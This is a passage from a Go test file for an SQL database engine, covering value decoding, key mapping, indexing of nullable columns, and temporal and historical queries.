nil, \"SELECT * FROM mytable WHERE id > CAST(wrong_column_name AS INTEGER)\")\n\trequire.ErrorIs(t, err, ErrColumnDoesNotExist)\n}\n\nfunc TestDecodeValueFailures(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn string\n\t\tb []byte\n\t\tt SQLValueType\n\t}{\n\t\t{\n\t\t\t\"Empty data\", []byte{}, IntegerType,\n\t\t},\n\t\t{\n\t\t\t\"Not enough bytes for length\", []byte{1, 2}, IntegerType,\n\t\t},\n\t\t{\n\t\t\t\"Not enough data\", []byte{0, 0, 0, 3, 1, 2}, VarcharType,\n\t\t},\n\t\t{\n\t\t\t\"Negative length\", []byte{0x80, 0, 0, 0, 0}, VarcharType,\n\t\t},\n\t\t{\n\t\t\t\"Too large integer\", []byte{0, 0, 0, 9, 1, 2, 3, 4, 5, 6, 7, 8, 9}, IntegerType,\n\t\t},\n\t\t{\n\t\t\t\"Too large timestamp\", []byte{0, 0, 0, 9, 1, 2, 3, 4, 5, 6, 7, 8, 9}, TimestampType,\n\t\t},\n\t\t{\n\t\t\t\"Zero-length boolean\", []byte{0, 0, 0, 0}, BooleanType,\n\t\t},\n\t\t{\n\t\t\t\"Too large boolean\", []byte{0, 0, 0, 2, 0, 0}, BooleanType,\n\t\t},\n\t\t{\n\t\t\t\"Any type\", []byte{0, 0, 0, 1, 1}, AnyType,\n\t\t},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\t_, _, err := DecodeValue(d.b, d.t)\n\t\t\trequire.True(t, errors.Is(err, ErrCorruptedData))\n\t\t})\n\t}\n}\n\nfunc TestDecodeValueSuccess(t *testing.T) {\n\tfor _, d := range []struct {\n\t\tn string\n\t\tb []byte\n\t\tt SQLValueType\n\n\t\tv    TypedValue\n\t\toffs int\n\t}{\n\t\t{\n\t\t\t\"varchar\",\n\t\t\t[]byte{0, 0, 0, 2, 'H', 'i'},\n\t\t\tVarcharType,\n\t\t\t&Varchar{val: \"Hi\"},\n\t\t\t6,\n\t\t},\n\t\t{\n\t\t\t\"varchar padded\",\n\t\t\t[]byte{0, 0, 0, 2, 'H', 'i', 1, 2, 3},\n\t\t\tVarcharType,\n\t\t\t&Varchar{val: \"Hi\"},\n\t\t\t6,\n\t\t},\n\t\t{\n\t\t\t\"empty varchar\",\n\t\t\t[]byte{0, 0, 0, 0},\n\t\t\tVarcharType,\n\t\t\t&Varchar{val: \"\"},\n\t\t\t4,\n\t\t},\n\t\t{\n\t\t\t\"zero integer\",\n\t\t\t[]byte{0, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0},\n\t\t\tIntegerType,\n\t\t\t&Integer{val: 0},\n\t\t\t12,\n\t\t},\n\t\t{\n\t\t\t\"large integer\",\n\t\t\t[]byte{0, 0, 0, 8, 0, 0, 0, 0, 127, 255, 255, 255},\n\t\t\tIntegerType,\n\t\t\t&Integer{val: math.MaxInt32},\n\t\t\t12,\n\t\t},\n\t\t{\n\t\t\t\"large integer padded\",\n\t\t\t[]byte{0, 0, 0, 8, 0, 0, 0, 0, 127, 255, 255, 255, 1, 1, 1},\n\t\t\tIntegerType,\n\t\t\t&Integer{val: math.MaxInt32},\n\t\t\t12,\n\t\t},\n\t\t{\n\t\t\t\"boolean false\",\n\t\t\t[]byte{0, 0, 0, 1, 0},\n\t\t\tBooleanType,\n\t\t\t&Bool{val: false},\n\t\t\t5,\n\t\t},\n\t\t{\n\t\t\t\"boolean true\",\n\t\t\t[]byte{0, 0, 0, 1, 1},\n\t\t\tBooleanType,\n\t\t\t&Bool{val: true},\n\t\t\t5,\n\t\t},\n\t\t{\n\t\t\t\"boolean padded\",\n\t\t\t[]byte{0, 0, 0, 1, 0, 1},\n\t\t\tBooleanType,\n\t\t\t&Bool{val: false},\n\t\t\t5,\n\t\t},\n\t\t{\n\t\t\t\"blob\",\n\t\t\t[]byte{0, 0, 0, 2, 'H', 'i'},\n\t\t\tBLOBType,\n\t\t\t&Blob{val: []byte{'H', 'i'}},\n\t\t\t6,\n\t\t},\n\t\t{\n\t\t\t\"blob padded\",\n\t\t\t[]byte{0, 0, 0, 2, 'H', 'i', 1, 2, 3},\n\t\t\tBLOBType,\n\t\t\t&Blob{val: []byte{'H', 'i'}},\n\t\t\t6,\n\t\t},\n\t\t{\n\t\t\t\"empty blob\",\n\t\t\t[]byte{0, 0, 0, 0},\n\t\t\tBLOBType,\n\t\t\t&Blob{val: []byte{}},\n\t\t\t4,\n\t\t},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\tv, offs, err := DecodeValue(d.b, d.t)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.EqualValues(t, d.offs, offs)\n\n\t\t\tcmp, err := d.v.Compare(v)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.Zero(t, cmp)\n\t\t})\n\t}\n}\n\nfunc TestTrimPrefix(t *testing.T) {\n\te := Engine{prefix: []byte(\"e-prefix\")}\n\n\tfor _, d := range []struct {\n\t\tn string\n\t\tk string\n\t}{\n\t\t{\"empty key\", \"\"},\n\t\t{\"no engine prefix\", \"no-e-prefix)\"},\n\t\t{\"no mapping prefix\", \"e-prefix-no-mapping-prefix\"},\n\t\t{\"short mapping prefix\", \"e-prefix-mapping\"},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\tprefix, err := trimPrefix(e.prefix, []byte(d.k), []byte(\"-mapping-prefix\"))\n\t\t\trequire.Nil(t, prefix)\n\t\t\trequire.ErrorIs(t, err, ErrIllegalMappedKey)\n\t\t})\n\t}\n\n\tfor _, d := range []struct {\n\t\tn string\n\t\tk string\n\t\tp string\n\t}{\n\t\t{\"correct prefix\", \"e-prefix-mapping-prefix-key\", \"-key\"},\n\t\t{\"exact prefix\", \"e-prefix-mapping-prefix\", \"\"},\n\t} {\n\t\tt.Run(d.n, func(t *testing.T) {\n\t\t\tprefix, err := trimPrefix(e.prefix, []byte(d.k), []byte(\"-mapping-prefix\"))\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, prefix)\n\t\t\trequire.EqualValues(t, []byte(d.p), prefix)\n\t\t})\n\t}\n}\n\nfunc TestUnmapTableId(t *testing.T) {\n\te := Engine{prefix: []byte(\"e-prefix.\")}\n\n\tdbID, tableID, err := unmapTableID(e.prefix, nil)\n\trequire.ErrorIs(t, err, ErrIllegalMappedKey)\n\trequire.Zero(t, dbID)\n\trequire.Zero(t, tableID)\n\n\tdbID, tableID, err = unmapTableID(e.prefix, []byte(\n\t\t\"e-prefix.CTL.TABLE.a\",\n\t))\n\trequire.ErrorIs(t, err, ErrCorruptedData)\n\trequire.Zero(t, dbID)\n\trequire.Zero(t, tableID)\n\n\tdbID, tableID, err = unmapTableID(e.prefix, append(\n\t\t[]byte(\"e-prefix.CTL.TABLE.\"),\n\t\t0x01, 0x02, 0x03, 0x04,\n\t\t0x11, 0x12, 0x13, 0x14,\n\t))\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 0x01020304, dbID)\n\trequire.EqualValues(t, 0x11121314, tableID)\n}\n\nfunc TestUnmapColSpec(t *testing.T) {\n\te := Engine{prefix: []byte(\"e-prefix.\")}\n\n\tdbID, tableID, colID, colType, err := unmapColSpec(e.prefix, nil)\n\trequire.ErrorIs(t, err, ErrIllegalMappedKey)\n\trequire.Zero(t, dbID)\n\trequire.Zero(t, tableID)\n\trequire.Zero(t, colID)\n\trequire.Zero(t, colType)\n\n\tdbID, tableID, colID, colType, err = unmapColSpec(e.prefix, []byte(\n\t\t\"e-prefix.CTL.COLUMN.a\",\n\t))\n\trequire.ErrorIs(t, err, ErrCorruptedData)\n\trequire.Zero(t, dbID)\n\trequire.Zero(t, tableID)\n\trequire.Zero(t, colID)\n\trequire.Zero(t, colType)\n\n\tdbID, tableID, colID, colType, err = unmapColSpec(e.prefix, append(\n\t\t[]byte(\"e-prefix.CTL.COLUMN.\"),\n\t\t0x01, 0x02, 0x03, 0x04,\n\t\t0x11, 0x12, 0x13, 0x14,\n\t\t0x21, 0x22, 0x23, 0x24,\n\t\t0x00,\n\t))\n\trequire.ErrorIs(t, err, ErrCorruptedData)\n\trequire.Zero(t, dbID)\n\trequire.Zero(t, tableID)\n\trequire.Zero(t, colID)\n\trequire.Zero(t, colType)\n\n\tdbID, tableID, colID, colType, err = unmapColSpec(e.prefix, append(\n\t\t[]byte(\"e-prefix.CTL.COLUMN.\"),\n\t\t0x01, 0x02, 0x03, 0x04,\n\t\t0x11, 0x12, 0x13, 0x14,\n\t\t0x21, 0x22, 0x23, 0x24,\n\t\t'I', 'N', 'T', 'E', 'G', 'E', 'R',\n\t))\n\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 0x01020304, dbID)\n\trequire.EqualValues(t, 0x11121314, tableID)\n\trequire.EqualValues(t, 0x21222324, colID)\n\trequire.Equal(t, \"INTEGER\", colType)\n}\n\nfunc TestUnmapIndex(t *testing.T) {\n\te := Engine{prefix: []byte(\"e-prefix.\")}\n\n\tdbID, tableID, colID, err := unmapIndex(e.prefix, nil)\n\trequire.ErrorIs(t, err, ErrIllegalMappedKey)\n\trequire.Zero(t, dbID)\n\trequire.Zero(t, tableID)\n\trequire.Zero(t, colID)\n\n\tdbID, tableID, colID, err = unmapIndex(e.prefix, []byte(\n\t\t\"e-prefix.CTL.INDEX.a\",\n\t))\n\trequire.ErrorIs(t, err, ErrCorruptedData)\n\trequire.Zero(t, dbID)\n\trequire.Zero(t, tableID)\n\trequire.Zero(t, colID)\n\n\tdbID, tableID, colID, err = unmapIndex(e.prefix, append(\n\t\t[]byte(\"e-prefix.CTL.INDEX.\"),\n\t\t0x01, 0x02, 0x03, 0x04,\n\t\t0x11, 0x12, 0x13, 0x14,\n\t\t0x21, 0x22, 0x23, 0x24,\n\t))\n\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, 0x01020304, dbID)\n\trequire.EqualValues(t, 0x11121314, tableID)\n\trequire.EqualValues(t, 0x21222324, colID)\n}\n\nfunc TestUnmapIndexEntry(t *testing.T) {\n\te := Engine{prefix: []byte(\"e-prefix.\")}\n\n\tencPKVals, err := unmapIndexEntry(&Index{id: PKIndexID, unique: true}, e.prefix, nil)\n\trequire.ErrorIs(t, err, ErrCorruptedData)\n\trequire.Nil(t, encPKVals)\n\n\tencPKVals, err = unmapIndexEntry(&Index{id: PKIndexID, unique: true}, e.prefix, []byte(\n\t\t\"e-prefix.M.\\x80a\",\n\t))\n\trequire.ErrorIs(t, err, ErrCorruptedData)\n\trequire.Nil(t, encPKVals)\n\n\tfullValue := append(\n\t\t[]byte(\"e-prefix.M.\"),\n\t\t0x11, 0x12, 0x13, 0x14,\n\t\t0x00, 0x00, 0x00, 0x02,\n\t\t0x80,\n\t\t'a', 'b', 'c', 0, 0, 0, 0, 0, 0, 0,\n\t\t0, 0, 0, 3,\n\t\t0x80,\n\t\t'w', 'x', 'y', 'z',\n\t\t0, 0, 0, 4,\n\t)\n\n\tsIndex := &Index{\n\t\ttable: &Table{\n\t\t\tid: 0x11121314,\n\t\t},\n\t\tid:     2,\n\t\tunique: false,\n\t\tcols: []*Column{\n\t\t\t{id: 3, colType: VarcharType, maxLen: 10},\n\t\t},\n\t}\n\n\tencPKLen := 8\n\n\tfor i := 13; i < len(fullValue)-encPKLen; i++ {\n\t\tencPKVals, err = unmapIndexEntry(sIndex, e.prefix, fullValue[:i])\n\t\trequire.ErrorIs(t, err, ErrCorruptedData)\n\t\trequire.Nil(t, encPKVals)\n\t}\n\n\tencPKVals, err = unmapIndexEntry(sIndex, e.prefix, fullValue)\n\trequire.NoError(t, err)\n\trequire.EqualValues(t, []byte{0x80, 'w', 'x', 'y', 'z', 0, 0, 0, 4}, encPKVals)\n}\n\nfunc TestEncodeAsKeyEdgeCases(t *testing.T) {\n\t_, _, err := EncodeValueAsKey(&NullValue{}, IntegerType, 0)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t_, _, err = EncodeValueAsKey(&Varchar{val: \"a\"}, VarcharType, MaxKeyLen+1)\n\trequire.ErrorIs(t, err, ErrMaxKeyLengthExceeded)\n\n\t_, _, err = EncodeValueAsKey(&Varchar{val: \"a\"}, \"NOTATYPE\", MaxKeyLen)\n\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\tt.Run(\"varchar cases\", func(t *testing.T) {\n\t\t_, _, err = EncodeValueAsKey(&Bool{val: true}, VarcharType, 10)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t\t_, _, err = EncodeValueAsKey(&Varchar{val: \"abc\"}, VarcharType, 1)\n\t\trequire.ErrorIs(t, err, ErrMaxLengthExceeded)\n\t})\n\n\tt.Run(\"integer cases\", func(t *testing.T) {\n\t\t_, _, err = EncodeValueAsKey(&Bool{val: true}, IntegerType, 8)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t\t_, _, err = EncodeValueAsKey(&Integer{val: int64(10)}, IntegerType, 4)\n\t\trequire.ErrorIs(t, err, ErrCorruptedData)\n\t})\n\n\tt.Run(\"boolean cases\", func(t *testing.T) {\n\t\t_, _, err = EncodeValueAsKey(&Varchar{val: \"abc\"}, BooleanType, 1)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t\t_, _, err = EncodeValueAsKey(&Bool{val: true}, BooleanType, 2)\n\t\trequire.ErrorIs(t, err, ErrCorruptedData)\n\t})\n\n\tt.Run(\"blob cases\", func(t *testing.T) {\n\t\t_, _, err = EncodeValueAsKey(&Varchar{val: \"abc\"}, BLOBType, 3)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t\t_, _, err = EncodeValueAsKey(&Blob{val: []byte{1, 2, 3}}, BLOBType, 2)\n\t\trequire.ErrorIs(t, err, ErrMaxLengthExceeded)\n\t})\n\n\tt.Run(\"timestamp cases\", func(t *testing.T) {\n\t\t_, _, err = EncodeValueAsKey(&Bool{val: true}, TimestampType, 8)\n\t\trequire.ErrorIs(t, err, ErrInvalidValue)\n\n\t\t_, _, err = EncodeValueAsKey(&Integer{val: int64(10)}, TimestampType, 4)\n\t\trequire.ErrorIs(t, err, ErrCorruptedData)\n\t})\n}\n\nfunc TestIndexingNullableColumns(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\texec := func(t *testing.T, stmt string) *SQLTx {\n\t\tret, _, err := engine.Exec(context.Background(), nil, stmt, nil)\n\t\trequire.NoError(t, err)\n\t\treturn ret\n\t}\n\n\tquery := func(t *testing.T, stmt string, expectedRows ...*Row) {\n\t\treader, err := engine.Query(context.Background(), nil, stmt, nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor _, expectedRow := range expectedRows {\n\t\t\trow, err := reader.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\n\t\t\trequire.EqualValues(t, expectedRow, row)\n\t\t}\n\n\t\t_, err = reader.Read(context.Background())\n\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\terr = reader.Close()\n\t\trequire.NoError(t, err)\n\t}\n\n\tcolVal := func(t *testing.T, v interface{}, tp SQLValueType) TypedValue {\n\t\tswitch v := v.(type) {\n\t\tcase nil:\n\t\t\treturn &NullValue{t: tp}\n\t\tcase int:\n\t\t\treturn &Integer{val: int64(v)}\n\t\tcase string:\n\t\t\treturn &Varchar{val: v}\n\t\tcase []byte:\n\t\t\treturn &Blob{val: v}\n\t\tcase bool:\n\t\t\treturn &Bool{val: v}\n\t\t}\n\t\trequire.Fail(t, \"Unknown type of value\")\n\t\treturn nil\n\t}\n\n\tt1Row := func(id int64, v1, v2 interface{}) *Row {\n\t\tidVal := &Integer{val: id}\n\t\tv1Val := colVal(t, v1, IntegerType)\n\t\tv2Val := colVal(t, v2, VarcharType)\n\n\t\treturn &Row{\n\t\t\tValuesByPosition: []TypedValue{\n\t\t\t\tidVal,\n\t\t\t\tv1Val,\n\t\t\t\tv2Val,\n\t\t\t},\n\t\t\tValuesBySelector: map[string]TypedValue{\n\t\t\t\tEncodeSelector(\"\", \"table1\", \"id\"): idVal,\n\t\t\t\tEncodeSelector(\"\", \"table1\", \"v1\"): v1Val,\n\t\t\t\tEncodeSelector(\"\", \"table1\", \"v2\"): v2Val,\n\t\t\t},\n\t\t}\n\t}\n\n\tt2Row := func(id int64, v1, v2, v3, v4 interface{}) *Row {\n\t\tidVal := &Integer{val: id}\n\t\tv1Val := colVal(t, v1, IntegerType)\n\t\tv2Val := colVal(t, v2, VarcharType)\n\t\tv3Val := colVal(t, v3, BooleanType)\n\t\tv4Val := colVal(t, v4, BLOBType)\n\n\t\treturn &Row{\n\t\t\tValuesByPosition: []TypedValue{\n\t\t\t\tidVal,\n\t\t\t\tv1Val,\n\t\t\t\tv2Val,\n\t\t\t\tv3Val,\n\t\t\t\tv4Val,\n\t\t\t},\n\t\t\tValuesBySelector: map[string]TypedValue{\n\t\t\t\tEncodeSelector(\"\", \"table2\", \"id\"): idVal,\n\t\t\t\tEncodeSelector(\"\", \"table2\", \"v1\"): v1Val,\n\t\t\t\tEncodeSelector(\"\", \"table2\", \"v2\"): v2Val,\n\t\t\t\tEncodeSelector(\"\", \"table2\", \"v3\"): v3Val,\n\t\t\t\tEncodeSelector(\"\", \"table2\", \"v4\"): v4Val,\n\t\t\t},\n\t\t}\n\t}\n\n\texec(t, `\n\t\tCREATE TABLE table1 (\n\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\tv1 INTEGER,\n\t\t\tv2 VARCHAR[16],\n\t\t\tPRIMARY KEY(id)\n\t\t)\n\t`)\n\texec(t, \"CREATE INDEX ON table1 (v1, v2)\")\n\tquery(t, \"SELECT * FROM table1 USE INDEX ON(v1,v2)\")\n\n\tt.Run(\"succeed adding non-null columns\", func(t *testing.T) {\n\t\texec(t, \"INSERT INTO table1(v1,v2) VALUES(1, '2')\")\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1 USE INDEX ON(v1,v2)\",\n\t\t\tt1Row(1, 1, \"2\"),\n\t\t)\n\n\t\texec(t, \"INSERT INTO table1(v1,v2) VALUES(1, '3')\")\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2\",\n\t\t\tt1Row(1, 1, \"2\"),\n\t\t\tt1Row(2, 1, \"3\"),\n\t\t)\n\t})\n\n\tt.Run(\"succeed adding null columns as the second indexed column\", func(t *testing.T) {\n\t\texec(t, \"INSERT INTO table1(v1,v2) VALUES(1, null)\")\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2\",\n\t\t\tt1Row(3, 1, nil),\n\t\t\tt1Row(1, 1, \"2\"),\n\t\t\tt1Row(2, 1, \"3\"),\n\t\t)\n\n\t\texec(t, \"INSERT INTO table1(v1,v2) VALUES(1, null)\")\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2\",\n\t\t\tt1Row(3, 1, nil),\n\t\t\tt1Row(4, 1, nil),\n\t\t\tt1Row(1, 1, \"2\"),\n\t\t\tt1Row(2, 1, \"3\"),\n\t\t)\n\n\t\texec(t, \"INSERT INTO table1(v1,v2) VALUES(2, null)\")\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2\",\n\t\t\tt1Row(3, 1, nil),\n\t\t\tt1Row(4, 1, nil),\n\t\t\tt1Row(1, 1, \"2\"),\n\t\t\tt1Row(2, 1, \"3\"),\n\t\t)\n\t})\n\n\tt.Run(\"succeed adding null columns as the first indexed column\", func(t *testing.T) {\n\t\texec(t, \"INSERT INTO table1(v1,v2) VALUES(null, '4')\")\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2\",\n\t\t\tt1Row(3, 1, nil),\n\t\t\tt1Row(4, 1, nil),\n\t\t\tt1Row(1, 1, \"2\"),\n\t\t\tt1Row(2, 1, \"3\"),\n\t\t)\n\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=1 ORDER BY v2\",\n\t\t\tt1Row(3, 1, nil),\n\t\t\tt1Row(4, 1, nil),\n\t\t\tt1Row(1, 1, \"2\"),\n\t\t\tt1Row(2, 1, \"3\"),\n\t\t)\n\t})\n\n\tt.Run(\"succeed querying null columns using index\", func(t *testing.T) {\n\t\tquery(t,\n\t\t\t\"SELECT * FROM table1 USE INDEX ON(v1,v2) WHERE v1=null\",\n\t\t\tt1Row(6, nil, \"4\"),\n\t\t)\n\t})\n\n\tt.Run(\"succeed creating table with two indexes\", func(t *testing.T) {\n\n\t\texec(t, `\n\t\t\tCREATE TABLE table2 (\n\t\t\t\tid INTEGER AUTO_INCREMENT,\n\t\t\t\tv1 INTEGER,\n\t\t\t\tv2 VARCHAR[16],\n\t\t\t\tv3 BOOLEAN,\n\t\t\t\tv4 BLOB[15],\n\t\t\t\tPRIMARY KEY(id)\n\t\t\t)\n\t\t`)\n\n\t\texec(t, \"CREATE INDEX ON table2(v1, v2)\")\n\t\texec(t, \"CREATE UNIQUE INDEX ON table2(v3, v4)\")\n\n\t\tquery(t, \"SELECT * FROM table2 USE INDEX ON(v3,v4)\")\n\n\t})\n\n\tt.Run(\"succeed inserting data on table with two indexes\", func(t *testing.T) {\n\t\texec(t, \"INSERT INTO table2(v1, v2, v3, v4) VALUES(null, null, null, null)\")\n\t\tquery(t, \"SELECT * FROM table2 USE INDEX ON(v1, v2)\", t2Row(1, nil, nil, nil, nil))\n\t\tquery(t, \"SELECT * FROM table2 USE INDEX ON(v3, v4)\", t2Row(1, nil, nil, nil, nil))\n\t})\n\n\tt.Run(\"fail adding entries with duplicate with nulls\", func(t *testing.T) {\n\t\t_, _, err := engine.Exec(context.Background(), nil, \"INSERT INTO table2(v1, v2, v3, v4) VALUES(1, '2', null, null)\", nil)\n\t\trequire.ErrorIs(t, err, store.ErrKeyAlreadyExists)\n\t})\n\n\tt.Run(\"succeed scanning multiple rows on table with two indexes\", func(t *testing.T) {\n\t\texec(t, `\n\t\t\tINSERT INTO table2(v1,v2,v3,v4) VALUES\n\t\t\t(1,'2',true, null),\n\t\t\t(3,'4',null, x'1234'),\n\t\t\t(5,'6',false, x'5678')\n\t\t`)\n\n\t\t// Order for boolean must be null -> false -> true\n\t\tquery(t, \"SELECT * FROM table2 USE INDEX ON(v3, v4)\",\n\t\t\tt2Row(1, nil, nil, nil, nil),\n\t\t\tt2Row(3, 3, \"4\", nil, []byte{0x12, 0x34}),\n\t\t\tt2Row(4, 5, \"6\", false, []byte{0x56, 0x78}),\n\t\t\tt2Row(2, 1, \"2\", true, nil),\n\t\t)\n\t})\n}\n\nfunc TestTemporalQueries(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR[50], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(title)\", nil)\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\tfor i := 0; i < rowCount; i++ {\n\t\t_, txs, err := engine.Exec(context.Background(), nil, \"INSERT INTO table1(title) VALUES (@title)\", map[string]interface{}{\"title\": fmt.Sprintf(\"title%d\", i)})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, txs, 1)\n\n\t\thdr := txs[0].TxHeader()\n\n\t\tt.Run(\"querying data with future date should not return any row\", func(t *testing.T) {\n\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title FROM table1 AFTER CAST(@ts AS TIMESTAMP)\", map[string]interface{}{\"ts\": hdr.Ts})\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = r.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\tt.Run(\"querying data with a greater tx should not return any row\", func(t *testing.T) {\n\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title FROM table1 AFTER TX @tx\", map[string]interface{}{\"tx\": hdr.ID})\n\t\t\trequire.NoError(t, err)\n\n\t\t\t_, err = r.Read(context.Background())\n\t\t\trequire.ErrorIs(t, err, ErrNoMoreRows)\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\tt.Run(\"querying data since tx date should return the last row\", func(t *testing.T) {\n\t\t\tq := \"SELECT id, title FROM table1 SINCE CAST(@ts AS TIMESTAMP) UNTIL now()\"\n\n\t\t\tparams, err := engine.InferParameters(context.Background(), nil, q)\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, params)\n\t\t\trequire.Len(t, params, 1)\n\t\t\trequire.Equal(t, AnyType, params[\"ts\"])\n\n\t\t\tr, err := engine.Query(context.Background(), nil, q, map[string]interface{}{\"ts\": hdr.Ts})\n\t\t\trequire.NoError(t, err)\n\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, int64(i+1), row.ValuesBySelector[\"(table1.id)\"].RawValue())\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\tt.Run(\"querying data with since tx id should return the last row\", func(t *testing.T) {\n\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id, title FROM table1 SINCE TX @tx\", map[string]interface{}{\"tx\": hdr.ID})\n\t\t\trequire.NoError(t, err)\n\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, int64(i+1), row.ValuesBySelector[\"(table1.id)\"].RawValue())\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\tt.Run(\"querying data with until current tx ordering desc by name should return always the first row\", func(t *testing.T) {\n\t\t\tr, err := engine.Query(context.Background(), nil, \"SELECT id FROM table1 UNTIL TX @tx ORDER BY title ASC\", map[string]interface{}{\"tx\": hdr.ID})\n\t\t\trequire.NoError(t, err)\n\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, int64(1), row.ValuesBySelector[\"(table1.id)\"].RawValue())\n\n\t\t\terr = r.Close()\n\t\t\trequire.NoError(t, err)\n\t\t})\n\n\t\ttime.Sleep(1 * time.Second)\n\t}\n\n\tt.Run(\"querying data with until current time should return all rows\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM table1 SINCE TX 1 UNTIL now()\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Equal(t, int64(rowCount), row.ValuesBySelector[\"(table1.c)\"].RawValue())\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"querying data since an older date should return all rows\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM table1 SINCE '2021-12-03'\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Equal(t, int64(rowCount), row.ValuesBySelector[\"(table1.c)\"].RawValue())\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"querying data since an older date should return all rows\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT COUNT(*) as c FROM table1 SINCE CAST('2021-12-03' AS TIMESTAMP)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\trow, err := r.Read(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, row)\n\t\trequire.Equal(t, int64(rowCount), row.ValuesBySelector[\"(table1.c)\"].RawValue())\n\n\t\terr = r.Close()\n\t\trequire.NoError(t, err)\n\t})\n}\n\nfunc TestHistoricalQueries(t *testing.T) {\n\tengine := setupCommonTest(t)\n\n\t_, _, err := engine.Exec(context.Background(), nil, \"CREATE TABLE table1(id INTEGER, title VARCHAR[50], _rev INTEGER, PRIMARY KEY id)\", nil)\n\trequire.ErrorIs(t, err, ErrReservedWord)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)\", nil)\n\trequire.NoError(t, err)\n\n\t_, _, err = engine.Exec(context.Background(), nil, \"CREATE INDEX ON table1(title)\", nil)\n\trequire.NoError(t, err)\n\n\trowCount := 10\n\n\tfor i := 1; i <= rowCount; i++ {\n\t\t_, txs, err := engine.Exec(context.Background(), nil, \"UPSERT INTO table1(id, title) VALUES (1, @title)\", map[string]interface{}{\"title\": fmt.Sprintf(\"title%d\", i)})\n\t\trequire.NoError(t, err)\n\t\trequire.Len(t, txs, 1)\n\t}\n\n\tt.Run(\"querying historical data should return data from older to newer revisions\", func(t *testing.T) {\n\t\tr, err := engine.Query(context.Background(), nil, \"SELECT _rev, title FROM (HISTORY OF table1)\", nil)\n\t\trequire.NoError(t, err)\n\n\t\tfor i := 1; i <= rowCount; i++ {\n\t\t\trow, err := r.Read(context.Background())\n\t\t\trequire.NoError(t, err)\n\t\t\trequire.NotNil(t, row)\n\t\t\trequire.Equal(t, int64(i), row.ValuesByPosition[0].RawValue())\n\t\t\trequire.Equal(t, fmt.Sprintf(\"title%d\", i), 